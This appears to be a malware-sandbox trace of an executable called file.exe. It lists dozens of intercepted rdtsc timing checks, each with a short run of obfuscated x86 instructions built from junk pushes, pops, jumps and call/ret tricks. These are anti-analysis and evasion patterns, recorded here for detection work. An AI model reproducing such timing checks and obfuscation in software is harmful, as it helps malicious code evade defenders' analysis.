Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BC745 second address: 10BC749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BC7BD second address: 10BC833 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B878EDB2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 44680248h 0x00000010 xor esi, 7995FA21h 0x00000016 push 00000003h 0x00000018 mov di, C45Bh 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push edx 0x00000021 call 00007FD6B878EDA8h 0x00000026 pop edx 0x00000027 mov dword ptr [esp+04h], edx 0x0000002b add dword ptr [esp+04h], 00000019h 0x00000033 inc edx 0x00000034 push edx 0x00000035 ret 0x00000036 pop edx 0x00000037 ret 0x00000038 clc 0x00000039 push 00000003h 0x0000003b xor dword ptr [ebp+122D1A6Ah], edx 0x00000041 call 00007FD6B878EDA9h 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007FD6B878EDB6h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BC833 second address: 10BC84E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jl 00007FD6B8875BC6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jp 00007FD6B8875BD2h 0x00000013 je 00007FD6B8875BCCh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BC84E second address: 10BC863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, dword ptr [esp+04h] 0x00000008 pushad 0x00000009 jnc 00007FD6B878EDA8h 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BC863 second address: 10BC867 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BC867 second address: 10BC88A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 je 00007FD6B878EDBFh 0x0000000f pushad 0x00000010 jmp 00007FD6B878EDB1h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BC88A second address: 10BC899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BC899 second address: 10BC8A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BC8A2 second address: 10BC8FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007FD6B8875BC8h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 lea ebx, dword ptr [ebp+1245264Eh] 0x00000028 jmp 00007FD6B8875BD6h 0x0000002d xchg eax, ebx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007FD6B8875BD3h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BC8FB second address: 10BC92B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B878EDB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007FD6B878EDB0h 0x00000012 jmp 00007FD6B878EDAAh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BCA88 second address: 10BCB43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B8875BCAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FD6B8875BD4h 0x00000010 jmp 00007FD6B8875BD8h 0x00000015 popad 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a jmp 00007FD6B8875BD8h 0x0000001f mov eax, dword ptr [eax] 0x00000021 pushad 0x00000022 push ebx 0x00000023 jp 00007FD6B8875BC6h 0x00000029 pop ebx 0x0000002a js 00007FD6B8875BC8h 0x00000030 pushad 0x00000031 popad 0x00000032 popad 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 jmp 00007FD6B8875BCEh 0x0000003c pop eax 0x0000003d mov dword ptr [ebp+122D2089h], edi 0x00000043 pushad 0x00000044 mov edi, dword ptr [ebp+122D2B3Eh] 0x0000004a mov edi, esi 0x0000004c popad 0x0000004d lea ebx, dword ptr [ebp+12452657h] 0x00000053 cld 0x00000054 sub ecx, 3AB3F3D7h 0x0000005a xchg eax, ebx 0x0000005b pushad 0x0000005c jmp 00007FD6B8875BD8h 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BCB43 second address: 10BCB47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BCB47 second address: 10BCB4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DE054 second address: 10DE069 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push esi 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pop esi 0x0000000d je 00007FD6B878EDACh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DBF35 second address: 10DBF53 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e popad 0x0000000f jg 00007FD6B8875BE3h 0x00000015 pushad 0x00000016 jno 00007FD6B8875BC6h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DC0A4 second address: 10DC0C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FD6B878EDB9h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DC363 second address: 10DC3AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FD6B8875BD5h 0x0000000a jmp 00007FD6B8875BD6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD6B8875BD9h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DC3AF second address: 10DC3C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B878EDAAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DC3C5 second address: 10DC3C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DC3C9 second address: 10DC3CF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DC3CF second address: 10DC3D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DC3D5 second address: 10DC3D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DC3D9 second address: 10DC3F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B8875BCEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DC6CC second address: 10DC701 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD6B878EDAEh 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c push edi 0x0000000d jmp 00007FD6B878EDB3h 0x00000012 pop edi 0x00000013 popad 0x00000014 push edx 0x00000015 push ebx 0x00000016 jp 00007FD6B878EDA6h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DCF8E second address: 10DCFC3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FD6B8875BD8h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007FD6B8875BC6h 0x00000013 jmp 00007FD6B8875BCFh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D079F second address: 10D07B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD6B878EDB6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D07B9 second address: 10D07C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007FD6B8875BC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D07C5 second address: 10D07DB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 jno 00007FD6B878EDA6h 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 jc 00007FD6B878EDA6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DD768 second address: 10DD77A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD6B8875BCCh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DD77A second address: 10DD79E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jg 00007FD6B878EDACh 0x0000000d jne 00007FD6B878EDACh 0x00000013 push ecx 0x00000014 push edi 0x00000015 pop edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DDA62 second address: 10DDA84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FD6B8875BC6h 0x0000000a jmp 00007FD6B8875BCDh 0x0000000f popad 0x00000010 jg 00007FD6B8875BCEh 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DDA84 second address: 10DDA9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FD6B878EDB3h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DDA9F second address: 10DDAAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DDAAC second address: 10DDABC instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD6B878EDB2h 0x00000008 jnc 00007FD6B878EDA6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DDABC second address: 10DDACA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jno 00007FD6B8875BC6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DDACA second address: 10DDACE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E4ED6 second address: 10E4EE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E4EE3 second address: 10E4EF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B878EDAFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E44AA second address: 10E44AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E44AE second address: 10E44C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B878EDB4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E5526 second address: 10E5538 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 je 00007FD6B8875BC6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E5538 second address: 10E555D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FD6B878EDAEh 0x0000000c pop ecx 0x0000000d popad 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 js 00007FD6B878EDA6h 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E555D second address: 10E557E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007FD6B8875BCEh 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109D06B second address: 109D06F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9535 second address: 10E9539 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9539 second address: 10E955B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B878EDAFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FD6B878EDAAh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E955B second address: 10E9563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9563 second address: 10E9580 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007FD6B878EDB5h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9806 second address: 10E980C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E980C second address: 10E9815 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9815 second address: 10E982E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD6B8875BD1h 0x00000009 pop edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ECEEF second address: 10ECEF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ECEF3 second address: 10ECEF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ECEF9 second address: 10ECF5F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FD6B878EDB2h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 22A63F63h 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007FD6B878EDA8h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 00000018h 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c sub di, 3724h 0x00000031 js 00007FD6B878EDACh 0x00000037 push D3365291h 0x0000003c pushad 0x0000003d jno 00007FD6B878EDA8h 0x00000043 push eax 0x00000044 push edx 0x00000045 jns 00007FD6B878EDA6h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EDB32 second address: 10EDB36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EDB36 second address: 10EDB3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EDB3A second address: 10EDB4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007FD6B8875BC6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EDD13 second address: 10EDD17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE018 second address: 10EE01C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EEF4B second address: 10EEF4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EEF4F second address: 10EEF59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EEF59 second address: 10EEF5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EEF5D second address: 10EEF96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 jno 00007FD6B8875BCBh 0x0000000e push edx 0x0000000f mov esi, 508D5484h 0x00000014 pop esi 0x00000015 push 00000000h 0x00000017 mov esi, eax 0x00000019 push 00000000h 0x0000001b mov edi, dword ptr [ebp+122DB102h] 0x00000021 pushad 0x00000022 mov edx, dword ptr [ebp+122D2B4Eh] 0x00000028 or dword ptr [ebp+12475B3Ch], esi 0x0000002e popad 0x0000002f xchg eax, ebx 0x00000030 push edi 0x00000031 push edi 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EFF94 second address: 10EFFCF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+122D1A47h], ebx 0x00000010 push 00000000h 0x00000012 add esi, 10578459h 0x00000018 push 00000000h 0x0000001a xor esi, dword ptr [ebp+122D286Eh] 0x00000020 xchg eax, ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FD6B878EDB8h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EFFCF second address: 10EFFD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FD6B8875BC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F1D6B second address: 10F1D86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD6B878EDB7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AE0C0 second address: 10AE0DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD6B8875BCFh 0x00000009 popad 0x0000000a je 00007FD6B8875BCEh 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F67F4 second address: 10F67F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F3DEE second address: 10F3DF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F67F8 second address: 10F6804 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F3DF2 second address: 10F3DF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F7B11 second address: 10F7B15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F7B15 second address: 10F7BA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007FD6B8875BC8h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 adc bx, B5D1h 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push eax 0x0000002e call 00007FD6B8875BC8h 0x00000033 pop eax 0x00000034 mov dword ptr [esp+04h], eax 0x00000038 add dword ptr [esp+04h], 0000001Ch 0x00000040 inc eax 0x00000041 push eax 0x00000042 ret 0x00000043 pop eax 0x00000044 ret 0x00000045 mov edi, esi 0x00000047 mov dword ptr [ebp+122D1980h], ecx 0x0000004d push 00000000h 0x0000004f mov edi, dword ptr [ebp+122D2A66h] 0x00000055 xchg eax, esi 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 jmp 00007FD6B8875BD8h 0x0000005e jl 00007FD6B8875BC6h 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F7BA2 second address: 10F7BA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F7BA7 second address: 10F7BCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jo 00007FD6B8875BDFh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD6B8875BD1h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FA141 second address: 10FA14F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B878EDAAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FB121 second address: 10FB127 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A222E second address: 10A2260 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B878EDB4h 0x00000007 pushad 0x00000008 jnc 00007FD6B878EDA6h 0x0000000e jmp 00007FD6B878EDACh 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pushad 0x00000019 push edi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FD705 second address: 10FD710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FD6B8875BC6h 0x0000000a popad 0x0000000b rdtsc
